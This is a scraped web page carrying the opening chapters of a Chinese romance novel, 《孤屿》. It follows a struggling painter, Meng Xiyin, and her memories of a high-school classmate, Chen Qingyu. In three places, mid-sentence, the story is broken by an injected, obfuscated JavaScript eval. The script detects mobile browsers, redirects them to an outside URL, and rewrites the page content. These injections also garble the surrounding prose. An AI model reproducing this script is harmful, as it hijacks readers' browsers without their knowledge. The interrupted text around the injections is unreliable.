《孤屿》 1. Chapter 0 六月初的北城,天气已经热的不像话。被子黏糊糊地粘在腿上,连带着将人也封印在床上。 可惜孟惜荫没有资格赖床。刚过七点,她就从被窝里爬了起来,简单吃了几口面包,就匆忙拎起提包出门了。 赵嘉树的车已经等在小区门口。 她坐进副驾驶,伸手把安全带拉下来,对赵嘉树甜甜地笑了一下:“早啊,嘉树哥。” “早。”对方笑着回应了一句,是十分熟稔的人之间才有的亲昵语气,“一会儿见了郑小姐别紧张,她人很好相处的。” “嗯。” 孟惜荫应了一声,抓着安全带的手却还是不自然地收紧。 说不紧张,是不可能的。 她今天要去见的这位郑雅意小姐,是一位有名的年轻模特,各大高奢品牌的秀场都有她的身影。而热度最高的,还要属她和北城首富贾先生那段伉俪情深的佳话。据说贾先生十分宠爱他的小妻子,因为自己已经年近五十,所以格外想留住年轻妻子的美貌。他不仅请了许多摄影师来为郑雅意拍照,还重金聘请了许多画家来为妻子画像,想让妻子的美貌成为艺术品流传于世。 要不是因为赵嘉树的一位朋友恰巧和贾家有些关系,像孟惜荫这种籍籍无名的小画师,哪里能得到这样的机会。 不为别的,光是那几十万的酬金,就不知道有多少人眼红呢。 孟惜荫本来是不想去的。和上流社会的人打交道,让她心里不自觉地有些抵触。可是为了母亲的医药费,她不得不听从赵嘉树好心的建议,毕竟这是眼下来钱最快的方式了。不然,就凭她平时教美术课挣的那几个钱,要凑够那笔巨款,几乎是不可能的。 车子在别墅区门口停下,赵嘉树没有急着进去,而是带着她朝对面一家中式餐厅走去。能开在这种高档别墅区附近,想想也知道价格不菲,孟惜荫小小地拉了一下赵嘉树的袖子,委婉地说:“嘉树哥,我不饿。” 赵嘉树揉了揉她的脑袋:“吃饱了才有力气干活。这顿我请你,预祝你今天一切顺利。” 顿了顿,他又笑了一下,望向孟惜荫的眼底盛满温柔:“我们家荫荫最棒了,一定可以的。” “我们家荫荫”这样亲密的称呼从赵嘉树嘴里说出来,孟惜荫没有一点不自在的感觉。她八岁随母亲搬到北城,赵嘉树是她的邻居,也是她在这座陌生的城市认识的第一个朋友。他们一起上学、一起长大,十几年光阴流转,身边朋友来来去去,唯有赵嘉树一直陪在她身边。 她也早已习惯了这种陪伴。 面对赵嘉树温柔的坚持,孟惜荫也不好再拒绝,只好跟着他走进了餐厅。 “一份水煮肉片,一份肉末茄子,一份回锅肉。”赵嘉树指尖抵着菜单,熟练地点了几个孟惜荫爱吃的菜,“再来个玉米排骨汤吧,就这些。” “会不会点太多了?”孟惜荫还想挣扎,“我真的不饿……” 赵嘉树合上菜单,没有理会孟惜荫微弱的挣扎,这会儿没有杂事干扰,他终于可以把全部注意力都集中在她身上。对方显然为了今天和郑小姐的会面精心打扮过,素净脸孔略加妆饰,是清水出芙蓉般的清秀可人。眼睛清清亮亮的,望着人的时候总是睁的很大,像清甜多汁的水蜜桃,像亚当和夏娃偷尝的禁果。 赵嘉树记得,她以前读书的时候就是这样,遇到不会做的作业题,就会睁着大大的眼睛看着他。而用不了多久他就会败下阵来,收起好不容易端起来的严肃,软着语气,耐心地帮她把一道道难题捋顺。 想到这里,赵嘉树忍不住弯起了唇角。 孟惜荫看见他脸上没由来的笑意,诧异地问:“嘉树哥,你笑什么?” 难道是她今天的眼影没画好,又化成了大熊猫? 孟惜荫的手悄悄伸向放在一旁的提包,想把小镜子摸出来。 “没什么。”赵嘉树任由脸上的笑意扩大,绽出一个大大的笑脸,“荫荫,我们认识十七年了。” “嗯。” 是有十七年了。 时光流逝,从来不会留给人喘.息的机会,一眨眼,她已经不再是那个刚搬到北城时瘦骨嶙峋的小姑娘了。这几年,她经历的变故太多,画室停业、母亲生病,陪她一路撑到现在的,只有赵嘉树。 还好有他在。 好像从小到大,无论发生什么事情,只要有赵嘉树在,她就会觉得很安心。 孟惜荫捏住提包带子的手慢慢松开,她看着赵嘉树,真诚地说:“嘉树哥,这几年真的谢谢你。” “跟我客气什么?”赵嘉树把倒好的温水推到她面前,笑着说,“好啦,先喝口水,一会儿多吃一点。” 从餐厅出来,赵嘉树一直把孟惜荫送到郑雅意家门口才离开。离开时他还不忘安抚孟惜荫:“放松一点,没事的。我等你的好消息。” 孟惜荫望着眼前的大门,深吸一口气,忐忑不安地按响了门铃。 门很快就打开了。开门的是一个年轻漂亮的女人,身材纤瘦高挑,穿一袭居家真丝长裙,堪堪盖过脚踝。她朝孟惜荫摆出灿烂的笑脸,“你就是孟小姐吧?快请进。” 对方的热情出乎孟惜荫的意料,让她有些受宠若惊,掌心细细密密地沁出汗来。她十分拘谨地笑了一下,然后才穿上保姆递过来的拖鞋,局促地跟着郑雅意进了客厅。 郑雅意热情地拉着她在沙发上坐下,挥手示意保姆去泡茶。 “孟小姐,你那幅《霁色》画的真好看,我和我老公都可喜欢了!要不是已经有人拍下了那幅画,我都想把它买回来挂在卧室里呢。” 郑雅意慵懒地靠在沙发上,好像在外人面前一点儿也不拘束似的,那双漂亮的眼睛眨了眨,说出的话让人根本无法拒绝:“对了,我能叫你惜荫吗?” “……当然可以。”孟惜荫有点招架不住她这种自来熟的性格,眼神躲闪看向别处,心里默默琢磨着她刚才说的话。 《霁色》。 那是孟惜荫大学毕业后独立创作的第一幅作品,画的是一丛春日盛放的月季,名为霁色。 温婉柔和的藕荷色,在画纸上铺展开春天旖旎的温柔。那幅画在北城市中心的美术馆展出,出乎意料地引发了不少人的关注,最后以十二万的价格被一位不知名的先生买下。 这对于刚刚毕业的孟惜荫来说,无疑是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793242|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的开始,可命运好像故意要捉弄她似的,在那之后,她创作的几幅作品都反响平平。孟惜荫这个名字,在美术界不断翻起的一层层海浪中,很快就被淹没了。 而郑雅意竟然还记得那幅《霁色》。 这让孟惜荫有种莫名的感激,紧绷的情绪也放松了许多。她接过保姆递来的茶,用轻松平和的语气和郑雅意交谈起来。 “如果郑小姐不嫌弃的话,我很希望能得到这个机会,为您画一幅画。” “当然不嫌弃!我高兴还来不及呢。”郑雅意搂过她的胳膊,语气斩钉截铁,“我觉得你画的肯定比我老公找来的那些乱七八糟的画家画的好看!” 孟惜荫经不住她这样夸奖,白皙的脸颊上泛起几丝羞涩的红:“业内有些前辈还是很厉害的……” “厉害个屁!”郑雅意忿忿道,“就上周,我老公找了一个叫孙什么堂的画家,据说各种国际大奖拿到手软,结果把我画的比鬼还丑!那幅画现在还在我床底下扔着呢。不行,我现在就翻出来给你看,真的好丑!” 郑雅意愤愤不平地起身,不等孟惜荫说话就拉着她的手大步流星地往卧室里走。她一进门便蹲在床边,手伸进那张豪华公主大床下面,去捞孙大师的画。孟惜荫站在门口,不知道该做些什么,她的目光拘谨地在郑雅意装潢华丽的房间里扫视了一圈,最后落在离她不远的梳妆台上。 国际名模的梳妆台上摆满了各种价值不菲的化妆品、耳环、戒指、项链,流光溢彩,充斥着金钱的味道。 梳妆镜旁放着一个深蓝色的小盒子,里面搭着一条不怎么起眼的项链。项链的坠子坠下来,在半空中虚虚浮着。 孟惜荫倏然睁大了眼睛。 坠子的形状,是一片缺了一角的枫叶。 她是外行人,看不出是用什么材质打造,只看得出打磨的功夫极好,连树叶的骨架都刻的分明。顺着树叶的纹路,恰到好处地嵌满了精心挑选的碎钻,一颗颗闪烁着细碎的光。 房间里光线正盛,晃得人眼睛发胀。 “喏,就是这幅。当时扔的时候太生气了,这画框都磕碎了。”郑雅意拎着画起身,拍了拍裙子上的灰。 “郑小姐,那条项链是……” 孟惜荫听见自己的声音在这间卧室里响起。大概是因为房间太大的缘故,显得有些虚浮。 郑雅意顺着她的视线看过去。 “你是说这条吗?”她走到梳妆台边,从小盒子里把那条项链拎起来,在孟惜荫眼前晃了晃,“这是我老公今年送我的生日礼物。因为是一位知名珠宝设计师的作品,所以他花了大价钱才买回来的呢。前几天有朋友来家里做客,我拿出来给她们看了几眼,就忘记收起来了。” “那位设计师叫什么名字?”孟惜荫的嗓音有些干涩,音节几乎是从嗓子眼里挤出来的。 “陈青屿。青色的青,岛屿的屿。” 小小的首饰盒被盖了起来,那条枫叶项链随着郑雅意的动作消失在孟惜荫的视线里。 可是那个如棘刺一般扎在她心底的名字,却血淋淋地破土而出,扎破她的血肉,穿透她的胸腔。 陈青屿。 2. Chapter 1 2016年的春天格外多雨。 雨下了一场又一场,整个北城都笼着潮湿的水汽。路上到处是坑坑洼洼的积水,稍有不慎就会溅上满裤腿的泥。 孟惜荫踮着脚,小心翼翼地迈过教学楼前石子路上的积水,背着沉重的画板踩上台阶。 她费力地收起雨伞,雨水顺着伞尖滴滴答答地洒在大理石台阶上。伸手摸了摸身后的画板,是干的,孟惜荫这才悄悄松了口气,朝高三六班的教室走去。 刚进教室,几个女生叽叽喳喳的议论声就聒噪地传进了她的耳朵里。 “孟惜荫今天又要去上美术课啊。” “真羡慕她不用来上晚自习……” “人家有个有钱的妈,咱们可羡慕不来。你们是没看见她妈妈给校长送的礼,几百块的烟,一条一条地往校长室送。” “也不看看她妈妈是干什么的。”坐在后门边上的一个女生嗤笑了一声,视线紧跟着正经过她身边的孟惜荫,故意提高了音调,“给有钱人当小三,挣的能不多么。” 孟惜荫装作听不见,面不改色地把画板靠墙放好,在座位上坐下,从书包里掏出试卷和课本。 这个年纪的女孩子好像有一种心照不宣的团结,对班级里搞特殊的人,会齐心协力地疏远—— 这个搞特殊的人,当然就是孟惜荫。 高三的晚自习冗长枯燥,让人昏昏欲睡,而孟惜荫却可以堂而皇之地不上晚自习,这很快就引起了班里同学的嫉妒。再加上她本来就不太爱说话,和班上的同学也没什么共同话题,久而久之,就默默地被孤立了。 只是她没想到,这种孤立会愈演愈烈,到最后,班上那些爱八卦的女生竟然当着她的面说各种难听的闲话。 不过,她们倒也没有说错。 孟惜荫的母亲年轻时爱上一个男人,那男人是一位有名的华裔画家,在美术界颇负盛名。母亲倾慕他的才华,爱他爱的死去活来,到最后才发现他早已娶妻生子,自己不过是他短暂的回国之旅中一段意外的消遣。 从那之后,母亲就像疯了一样。 孟惜荫九岁时,母亲就逼着她去学画画,为她联系北城最好的美术老师,风雪无阻地送她去上课。 “惜荫,你爸爸是很有名的画家。他很厉害,很有才华。” “惜荫,你是他的女儿,你可以和他一样优秀。不,比他更优秀。” 孟惜荫是听着这些话长大的。哪怕她并不喜欢那些气味难闻的颜料,哪怕她觉得自己脑子空空,没有一点艺术细胞。 她已经学画九年,母亲仍旧在坚持。就算已经到了最关键的高三时期,也要亲自去请求校长,让孟惜荫可以不用去上周三的晚自习,去画室上美术课。 孟惜荫垂下眼睫,不去想这些烦心事,抽出一支黑笔,去写昨晚没写完的试卷。 可她越是忍让,越是有人不让她安生。 “哎,孟惜荫,让我们看看你画的画呗。”后桌的杨文婕拽了拽她的校服袖子。 孟惜荫没理。 她知道杨文婕和刚才说话声音最大的那个女生李灿是好朋友。 她们有一个亲密的小团体。 她永远也无法融入的小团体。 见孟惜荫不理人,杨文婕有点生气了。她早就看不惯孟惜荫了,天天和画板坐在教室角落里,一句话也不说,好像和她们不是一个世界的人,好像比她们这些普通女孩高贵似的。 杨文婕伸长脖子,看见孟惜荫身后的浅黄色帆布书包的拉链敞开了一角,没有拉严实,卷起来的画纸露出来一头,直直立着。 她便伸手去拽,脸上笑嘻嘻的,“那我就自己看喽。” “别动我的画!” 孟惜荫急忙转头,想护住她的画,可杨文婕眼疾手快,已经攥住了画纸的一头,怎么也不肯松手。 画纸被捏的扁平,显出细密的纹理来。 孟惜荫心疼得快要掉泪,那是她花了好几个晚上才完成的美术作业,今晚要带去画室给老师看的。她不想松手,又怕弄坏那幅画,僵持之中,杨文婕忽然用力,画纸被硬生生撕下来一块,清脆的一声响。 孟惜荫的眼眶倏地红了。 杨文婕也愣住了。她没想撕坏孟惜荫的画,只是单纯地好奇,想看看每周不上晚自习去学画画的孟惜荫究竟能画出什么东西来。画被撕坏了,她也有些尴尬,又不好表现出来,只能故作潇洒地耸了耸肩,说:“不就是一幅画嘛,又不是什么不得了的东西。你再画一幅不就行了。” 她把手心里的碎纸片往孟惜荫桌上扔去,纸片很轻,在半空中晃晃悠悠,最后落在孟惜荫脚边的过道上。 孟惜荫弯腰去捡,身旁却有人比她先一步蹲了下来。 她不小心触碰到对方的手指,冰凉凉的,像树叶上流下的积雨滴进了脖子里,透骨锥心的凉。 孟惜荫错愕地抬头,撞见一双淡漠冷静的眼睛。 她出神的功夫,对方已经把地上的纸片捡了起来,放在了她的桌上。 “叮铃铃——” 上课铃声响起,把孟惜荫后知后觉想要说的那句谢谢堵在了喉咙里。她只好回到座位上坐好,英语老师很快走了进来,开始用单调乏味的语调讲解昨天周测的错题。 试卷上一行行密密麻麻的英文单词,配合着英语老师毫无起伏的音调,几分钟就足以让人昏昏欲睡。孟惜荫忍不住悄悄抬头,看向那个座位和她只隔了一条过道的、刚才帮她捡画的男生。 他一只手撑着脸,另一只手百无聊赖地转着一只黑色签字笔,浓长眼睫垂着,看不见眼底情绪。他太瘦了,身上校服都松松垮垮,清瘦腕骨从宽大的袖口里探出来,上面有一道过分醒目的疤。 这是孟惜荫第一次注意到他。 一是因为她本身就很少和班里同学打交道,每天大部分时间都低着头,把自己隔绝在其他人之外。二是因为上了高三之后,学校开始实行按成绩分班的制度,每次月考后都要重新分一次班,她旁边的那个位置也因此换了好几次人。孟惜荫本就有些脸盲,换的次数多了,她也懒得去记身边同学的名字了。 此刻她在脑海里努力回忆着对方的名字,再怎么说也做了一段时间的同学,肯定有印象的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793243|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然而关于对方的记忆却如一页白纸,空荡荡的,什么都没有。 孟惜荫有些懊恼。 座位离的这么近,她竟然连他的名字都不知道。难道她“两耳不闻窗外事,一心只读圣贤书”的本事已经修炼到了这种出神入化的地步? 这份小小的懊恼一直持续到了放学,铃声响起的时候,孟惜荫才想起她有更加烦恼的事情—— 她的美术作业被撕坏了,她要怎么去上课?要是被美术老师批评了,告状到她妈妈那里去,回家少不了又要挨一顿痛骂。 于是同学们陆陆续续都跑去食堂吃饭了,孟惜荫还坐在座位上,望着摊在桌面上的几截纸片发呆。 重画一幅肯定是来不及了。 怎么办啊…… “要帮忙吗?” 正发愁时,男生冷淡的嗓音在身旁响起。 孟惜荫抬起头,这才发现教室里只剩下他们两个人。她有些不知所措地抿起唇,呆呆地问:“怎么弄呀……” 对方没有说话,一声不吭地把那些纸片拿到他的座位上,然后从书包里拿出一卷透明胶带和剪刀,沿着画被撕开的缝隙一点点仔细地粘好。 对啊,她怎么没想到呢?粘起来就好了呀! 孟惜荫看向对方的眼神立刻多了几分钦佩的炙热。 察觉到她的视线,男生的动作短暂地停顿了一下,但很快就恢复了自然,继续操作着。 孟惜荫趁他专心粘画的功夫,赶紧悄悄看了一眼他桌角的周测试卷。姓名那一栏用随性潇洒的笔迹写着“陈青屿”三个字。 陈青屿。 孟惜荫在心里默念了几遍这个名字,认真记下来。在陈青屿把粘好的画递过来的时候,她立刻朝他露出乖巧的笑容,脸颊上泛起两个浅浅的酒窝:“谢谢你啦,陈青屿。” 陈青屿的视线扫过她的脸。 孟惜荫被他盯的有些心虚,明明是刚刚才知道他的名字,她却偏要装出熟稔的语气来,好像和他认识了很久一样。 空气过分安静。 窗外雨仍旧在下,淅淅沥沥,漫过斑驳的玻璃。 “你不去吃饭吗?”孟惜荫低着头把画卷起来,动作有些夸张,很有几分欲盖弥彰的意味。 “不饿。”陈青屿的回答言简意赅。 “好吧。那我先走啦,我得去上课了。”孟惜荫说着,弯下腰去找画板背面的背带。 陈青屿坐在座位上,歪着头看了孟惜荫一眼。她身量娇小,背上那块大大的画板压得她一个踉跄险些摔倒,样子十分狼狈。 他犹豫了一下,正要起身帮忙,教室的后门忽然被人推开。 “荫荫,我等你好久了。今天怎么这么晚还没出来?”赵嘉树出现在门口,看见孟惜荫正笨拙地背起画板,立刻快步跑到她身边扶了她一把,“地上湿,别摔着了。我帮你背。” 陈青屿盯着那个一脸关切跑进教室的男生,身体慢慢回到座位上。 他认识赵嘉树。 学生会会长,永远的年级第一名,所有老师都喜欢他。 他叫她荫荫。 3. Chapter 2 “没事的,我自己来就行。”孟惜荫扶着赵嘉树的胳膊站稳,冲他笑了笑。 “那快走吧。先去吃点东西,然后我送你去画室。” “嗯。” 教室的后门被关上,四周瞬间安静下来,留给陈青屿的只剩下雨珠敲打玻璃窗的声音。一声一声,毫无规律地回荡。 他无聊地趴在课桌上,头侧向一边,目光落向孟惜荫的课桌。 粉色格子的笔袋下面压着几张崭新的试卷,是今天班主任刚刚发下来的,新得还能闻出印刷油墨的味道。 陈青屿歪了歪头,把头枕在一边的手臂上。 ——她走的太急,忘记把今晚的作业带回家了。 * 雨越下越大。 自行车后座摇摇晃晃,孟惜荫不得不一只手撑着伞,一只手紧紧拽住赵嘉树的书包带子,生怕自己一个不稳就要摔下去。 “荫荫,不用给我撑伞,你看着点,别把画板淋湿了。”等红灯的间隙,赵嘉树扭过头叮嘱。 冷风把他被雨打湿的头发吹得乱糟糟的,他朝孟惜荫笑,眼睛弯成漂亮的小船。 “知道啦。” 孟惜荫心里有些过意不去,嘴上答应着,伞又默默朝前倾斜了几度。 那晚的雨来势汹汹,滂沱不止。好不容易到了画室,赵嘉树的校服几乎全部湿透了。他帮孟惜荫拎着画板和书包,一直送她进了画室,临走时又从书包里掏出自己的雨伞递给她。 “你的伞太小了,我们换一下。不然你和画板都会淋湿的。” 一把黑白格子伞递到眼前,孟惜荫犹豫了一下,还是接了过来,“那谢谢你啦,嘉树哥。” 两个小时的课程很快结束了。离开画室时,孟惜荫不由得佩服起赵嘉树的先见之明来,外头的雨不仅没有一丁点变小的趋势,反而又刮起了大风,就凭她那把小伞,她和画板肯定无一幸免,非得全都湿透了不可。 她撑着赵嘉树的伞往公交站走去,细细的水流沿着伞面淌下来,像微小的瀑布罩在她周围,让她有一种奇异的安全感。 公交车迟迟不来,孟惜荫等的有些无聊,脑子里乱糟糟地开始想一些不着边际的事情。 不知怎的,她莫名又想起了那个叫做陈青屿的男生,还有那张周测试卷上他散漫的笔迹。 等等。 试卷。 如果她没记错的话,下午班主任老张新发了两张模拟卷,说明天早自习要对答案的。 孟惜荫急忙打开书包,然而翻找了半天,书包里并没有那几张试卷的踪影。 应该是忘在课桌上了。 孟惜荫的心顿时凉了半截。 怎么办呀?老张可是高三老师里出了名的暴脾气,有谁敢不完成他布置的作业,那就等着被叫家长在班会上公开处刑吧。 要是她妈妈被叫到学校…… 孟惜荫简直不敢往下想,她看了一眼压抑的天幕,只犹豫了几秒钟,就撑开雨伞往学校的方向跑。 彼时刚过九点,高三的学生下了晚自习,陆陆续续都走光了。偌大的校园里只剩几盏路灯幽幽地亮着,映着地上的雨水,像形状不明的月亮。 孟惜荫一路小跑冲上四楼,远远看见六班的灯还亮着,脚步迟疑了一下。 都这么晚了,还有人没走? 教室里安静极了。 沾了雨水的运动鞋踩在大理石地砖上,再怎么小心,声音依旧清晰刺耳。 白炽灯只开了一排,昏昧不明的光线里,孟惜荫看见陈青屿趴在课桌上,似乎是睡着了。她小心翼翼地从他旁边走过,轻手轻脚地去拿课桌上的试卷。 “东西落教室了?” 陈青屿的声音透着懒倦,像是刚睡醒,有些模糊不清。 “啊……试卷忘记带了。” 孟惜荫有些窘迫,她低下头,一边迅速把试卷和笔袋装进书包里,一边随口问道:“你怎么还不走呀?晚自习不是八点五十就结束了吗?” “不想回家。”仍旧是他一贯的冷淡语气,好像对什么都漠不关心似的。 简简单单的四个字,反倒让孟惜荫不知道再说些什么好了,她本就不善言谈,这会儿更是绞尽脑汁都想不出该如何把对话继续下去。 好在对方似乎看出了她的尴尬,主动开口:“一起走吧,一会儿保安要来赶人了。” “好。” 走廊里的声控灯坏了,到处黑漆漆一片,孟惜荫巴不得能有个人陪她一起下楼呢,于是答应的十分爽快。 陈青屿起身,把书包随意挂在右边肩膀上,然后顺手从孟惜荫肩上把画板薅了下来,单手拎着朝教室外走去。 孟惜荫怔愣了几秒,连忙拿好书包快步跟上去。 雨仍旧在下,没有半分要停的意思。 孟惜荫撑开赵嘉树给她的那把大伞,转头问陈青屿:“你带伞了吗?” 话一出口,她立刻就意识到自己问了一句多余的废话,因为对方一只手扶着右肩上的书包,另一只手帮她提着画板,显然没有空闲的手再去打伞了。 怎么这么呆啊,一点眼力见都没有。 孟惜荫在心里默默骂了自己一句,赶紧撑开雨伞,用故作轻松的语气说:“我们打一把伞吧。” 陈青屿没有说话,似乎是默许了,他站在孟惜荫左边,两个人一起走进阴沉的雨幕里。直到走出学校大门,他才开口:“这是你的伞么?” 黑白格子的图案,又是双人伞的大小。 很显然,这是一把男生的伞。 “啊?”孟惜荫没有想到他会问出这个问题,呆了一瞬才回答,“不是我的,是我朋友的。” “赵嘉树的?”陈青屿眼睫抬了抬。 孟惜荫诧异地转过脸:“你认识他?” “不认识。”陈青屿在斑马线前站定,换了话题,“你家住哪边?” 十字路口,红灯醒目地亮着,在潮湿雨幕中显得有些模糊。 孟惜荫停下脚步,伸手往右边指了指:“就在那边的清莲小区,很近的。” “我送你。” “啊?不用不用,已经这么晚了,你快回家吧。画板我自己拿就好,走几步路就到啦。” 陈青屿迈开脚步往前走,“我家住荷花巷,刚好顺路。” 荷花巷…… 孟惜荫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793244|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔了怔,脸上神情有些不大自然。 荷花巷的确离她住的清莲小区不远。 她听小区里的大人们说过,当年清莲小区建了一半,承包商因为没钱卷铺盖跑路了,之后又来了新的开发商,为了节省经费,只把剩下的半块工地草草改建了一番,就成了荷花巷。里面又老又破,住的都不是什么好人家,有欠了一屁股债跑到那儿躲债的,还有给人当小三生了私生子、怕被原配找上门而在那儿躲着的,总之什么样的人都有。她每晚放学回家,经过荷花巷时,总会加快脚步低着头匆匆走过,不敢朝里面多看一眼,生怕惹上什么事情。 陈青屿竟然住在那种地方吗? 孟惜荫越想越不安。在她的刻板印象里,从荷花巷里走出来的,都不是什么好人。 她不由得悄悄抬起眼睛,瞥了一眼身旁的陈青屿。对方脸上没什么情绪,只扶着书包带的那只手微微用着力,暗色青筋从手背上凸起来,冷的,硬的。 孟惜荫从来没有这样近距离地看过男生的手。似乎是此刻,她才第一次发觉,原来男生的手也可以这样好看。她有些走神,没注意陈青屿忽然放慢了步子,她一个趔趄,万幸没有栽进脚下的泥坑里。 荷花巷口,雨丝铺天盖地。 几个穿黑色长袖的男人靠在一家小卖部房檐下,指间夹着粗烟,烟气散进潮湿雨雾里。 “抱歉,不能送你了。”陈青屿忽然开口。 他把画板递给孟惜荫,一言不发地从她的伞下离开,那些雨滴好像终于寻到了机会似的,猖狂地冲他砸下来,劈头盖脸不留余力。 “哎……”孟惜荫的声音在滂沱大雨里显得格外微弱。她望着陈青屿头也不回的背影,恹恹垂下眼睫,心想,他明天可千万不要感冒呀。 还冒着火星的烟头被丢在地上,皮鞋踩上来,把它用力碾进泥里。几个膀大腰圆的男人直起身来,双手环胸,不怀好意地看着眼前清瘦的男生。 陈青屿余光往后扫了扫,已经看不到孟惜荫的身影。他抿了抿唇,把肩上的书包随手丢在旁边的地上,往前走了几步。 “我爸爸今天不在家。” “他在不在家我们不关心,我们只关心他什么时候还钱。”为首的男人嗤了一声,懒洋洋地靠了过来,没费什么力气就把陈青屿的下巴捏的发红。 “钱的事,我不知道。”陈青屿面无表情地吐出几个字。 “那就别怪我们不客气咯。父债子还,天经地义,你爹不肯还钱,我们找不到他,只能找他儿子了。” 男人挽起袖子,露出精壮的手臂。其他几个男人也慢慢逼了过来,把他堵在中间。 陈青屿已经不是第一次经历这种场面,他淡漠地蹲了下来,脱下校服外套护住头部。 拳头密不透风地落下来,比雨丝还要密。 他跌在泥泞的水坑里,身上到处都是撕裂般的疼,好像有雨水混着脏腥的泥土灌进了鼻子,渐渐模糊的意识里,他忽然想起孟惜荫的脸。 那时她弯着眼睛,可爱的像两弯月牙儿,声音也是乖乖巧巧的,尾调微扬,像春天里飞扬的风筝。 她对他说:“谢谢你啦,陈青屿。” 4. Chapter 3 客厅里静悄悄的。 老式挂钟的钟摆不紧不慢地摆动,滴答,滴答。 孟惜荫蹑手蹑脚地脱掉鞋子,抱着书包慢腾腾地穿过客厅,努力不发出声音来。然而天不遂人意,眼看着离卧室只有几步之遥,洗手间的门突然开了。母亲陶玉茹抱着一盆洗好的衣服从里面出来,冷着脸叫住了她:“惜荫。” 孟惜荫不得不停住脚步,转过身僵硬地应了一声:“妈。” “美术课不是八点半就结束了吗?怎么这么晚才回家?”陶玉茹把衣服放在一边。 “我作业落在教室了,回了一趟学校。”孟惜荫低下头,手指绞在一起,等着陶玉茹的数落。 果然,她话音刚落,陶玉茹立刻就抬高了声调:“和你说了多少次,做事情不要马马虎虎。你将来是要当画家的人,更要心细!现在不改掉粗心的毛病,之后会影响你一辈子,甚至毁掉你的一生!” 陶玉茹的说教还在继续,孟惜荫垂着眼睛,一言不发地听着。等到陶玉茹终于不再说了,她才小声开口:“我先回房间了,妈。” 关上卧室的门,孟惜荫靠在墙边,长长地舒了口气。她把窗户敞开一道缝,让冷风裹着雨丝吹进狭小的房间里,然后才回到书桌前去写试卷。 白纸黑字密密麻麻,和她描摹的那些素描画一样乏味。 孟惜荫捏着笔,眼皮慢慢开始打架。 雨丝斜吹进来,摇摇晃晃,晕湿了试卷上还未来得及写上名姓的姓名栏。 * 北城的雨季一向漫长,艳阳天少得可怜。 没想到下了一夜的暴雨,第二天竟然破天荒地雨过天晴,孟惜荫推门出去,看见湛蓝天空上明晃晃的太阳,压抑的心情倒是好了不少。 赵嘉树和往常一样推着自行车等在小区门口。见孟惜荫走过来,他从怀里掏出一个塑料袋,里面装着剥好的鸡蛋和包子,肉香从薄薄的皮里飘出来,热腾腾的。 “给,我妈早上现蒸的包子,快趁热吃。”赵嘉树笑起来,露出雪白的牙齿。 陶玉茹不会做饭,每天给她准备的早餐只有硬邦邦的面包片。孟惜荫为了节省时间,总是在上学的路上坐在赵嘉树的自行车后座上啃面包。啃了几次之后,赵嘉树就开始从家里给她带早饭——热乎乎的包子,香喷喷的卤蛋,还有煎的金黄的水煎包、喷香的土豆丝饼…… 孟惜荫丝毫没发觉自己的体重在悄无声息地增长,因为每次赵嘉树都会很严肃地对她说:“你太瘦了,不多吃点哪有体力学习。” “荫荫,下周一又要月考了,复习的怎么样?”赵嘉树一边骑车,一边有一搭没一搭地和她聊天。 孟惜荫蔫头耷脑地咬了一口包子,闷闷地说:“不怎么样,说不定连前两百名都保不住了。” “这周末你来我家,我给你画下重点,考前突击一下,前两百还是能稳住的。”等红灯的间隙,赵嘉树扭过头安慰她,“上次英语题目很难,这次应该会简单些。语文是你强项,稳定发挥就好了,不用担心的。” “嗯。” 孟惜荫默默咽下嘴里的最后一口包子,心想,上次月考要不是多亏了赵嘉树的考前突击小灶,她的名字估计得去高三总榜的后几页找了。 赵嘉树的班级在一班,孟惜荫在楼梯口和他分别。时间还早,她不想太早进教室,于是放慢了脚步,这时忽然有人从身后追了上来,一把拉住她的袖子。 “孟惜荫,你是不是认识赵嘉树?” 说话的女生瓜子脸,尖下巴,眨眼睛的时候很可爱,看起来倒是没有什么恶意。 孟惜荫记得她,是班里的宣传委员,叫周濛。 她点了点头,说:“认识,怎么了?” “我看你们每天都一起上学,放学也一起走。”周濛抿了抿唇,在脑海里斟酌了一番措辞,然后委婉道,“你们……是不是在谈恋爱啊?” “啊?这怎么可能呀,我们就是普通朋友。”孟惜荫吓了一跳,连忙摆手否认。 对于孟惜荫这种家教严格的乖乖女来说,早恋是她想都没想过的事情,“谈恋爱”这三个字更是说都不敢说的禁忌词。周濛的话就像一颗威力极大的地雷,把她纯洁的脑子炸的嗡嗡作响。 见她否认,周濛倒是松了口气:“那就好那就好。” 孟惜荫诧异地抬眼,不明白她是什么意思。 周濛瞅准周围没人,迅速从校服口袋里摸出一只信封,做贼似的塞到她手里。 “帮我把这个交给赵嘉树,我请你吃饭。” 